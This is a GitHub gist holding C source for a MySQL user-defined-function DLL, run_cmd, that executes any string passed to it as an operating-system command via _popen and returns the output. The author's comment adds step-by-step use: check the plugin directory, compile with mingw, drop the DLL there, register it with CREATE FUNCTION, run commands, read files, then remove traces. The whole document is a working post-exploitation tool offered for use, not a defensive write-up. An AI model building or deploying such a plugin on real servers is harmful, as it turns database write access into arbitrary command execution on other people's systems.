Skip to content

Instantly share code, notes, and snippets.

@Reelix
Created October 8, 2026 19:15
Show Gist options
  • Select an option

  • Save Reelix/70dba28f8e87f6508f48e7d805eedc17 to your computer and use it in GitHub Desktop.

Select an option

Save Reelix/70dba28f8e87f6508f48e7d805eedc17 to your computer and use it in GitHub Desktop.
A DLL Plugin to load into MySQL to run commands.
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
typedef struct st_udf_init {
char maybe_null;
unsigned int decimals;
unsigned long max_length;
char *ptr;
char const_item;
} UDF_INIT;
typedef struct st_udf_args {
unsigned int arg_count;
int *arg_type;
char **args; // This is an array of strings
unsigned long *lengths; // This is an array of integers
char *maybe_null;
char **attributes;
unsigned long *attribute_lengths;
} UDF_ARGS;
enum Item_result { STRING_RESULT=0, REAL_RESULT, INT_RESULT, ROW_RESULT, DECIMAL_RESULT };
#define DLLEXPORT __declspec(dllexport)
DLLEXPORT bool run_cmd_init(UDF_INIT *initid, UDF_ARGS *args, char *message);
DLLEXPORT char* run_cmd(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error);
DLLEXPORT void run_cmd_deinit(UDF_INIT *initid);
DLLEXPORT bool run_cmd_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
if (args->arg_count != 1 || args->arg_type[0] != STRING_RESULT) {
strcpy(message, "run_cmd() requires exactly one string argument.");
return 1;
}
// Set max_length to allow up to 65k of output back to MySQL
initid->max_length = 65535;
return 0;
}
DLLEXPORT char* run_cmd(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error) {
// FIX: Explicitly reference the 0th element of the arrays
unsigned long cmd_len = args->lengths[0];
char *cmd_buffer = (char *)malloc(cmd_len + 1);
if (cmd_buffer == NULL) {
*error = 1;
return NULL;
}
// FIX: Reference args->args[0] to copy the full string parameter
memcpy(cmd_buffer, args->args[0], cmd_len);
cmd_buffer[cmd_len] = '\0';
// Open pipe to capture parameters + stdout
FILE *fp = _popen(cmd_buffer, "r");
free(cmd_buffer);
if (fp == NULL) {
*error = 1;
return NULL;
}
memset(result, 0, 255);
// Read up to 254 bytes into the default return buffer
size_t bytes_read = fread(result, 1, 254, fp);
_pclose(fp);
*length = (unsigned long)bytes_read;
return result;
}
DLLEXPORT void run_cmd_deinit(UDF_INIT *initid) {
// Cleanup
}
@Reelix

Reelix commented Oct 8, 2026 •

Copy link
Copy Markdown
Author

1.) Check Plugin Directory: SHOW VARIABLES LIKE 'plugin_dir'

2.) If you have write access, compile plugin on Linux host: x86_64-w64-mingw32-gcc -shared -o custom_cmd.dll custom_cmd.c -lmsvcrt

3.) Copy over to plugin directory

4.) Run SQL: CREATE FUNCTION run_cmd RETURNS STRING SONAME 'custom_cmd.dll';

5.) Run SQL: SELECT run_cmd('C:\\tmp\\command.exe');

6.) As the output is in hex, to read a file you can go: SELECT CAST(run_cmd('type C:\\Windows\\win.ini') AS CHAR);

Clean Up: DROP FUNCTION IF EXISTS run_cmd; and delete the dll.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment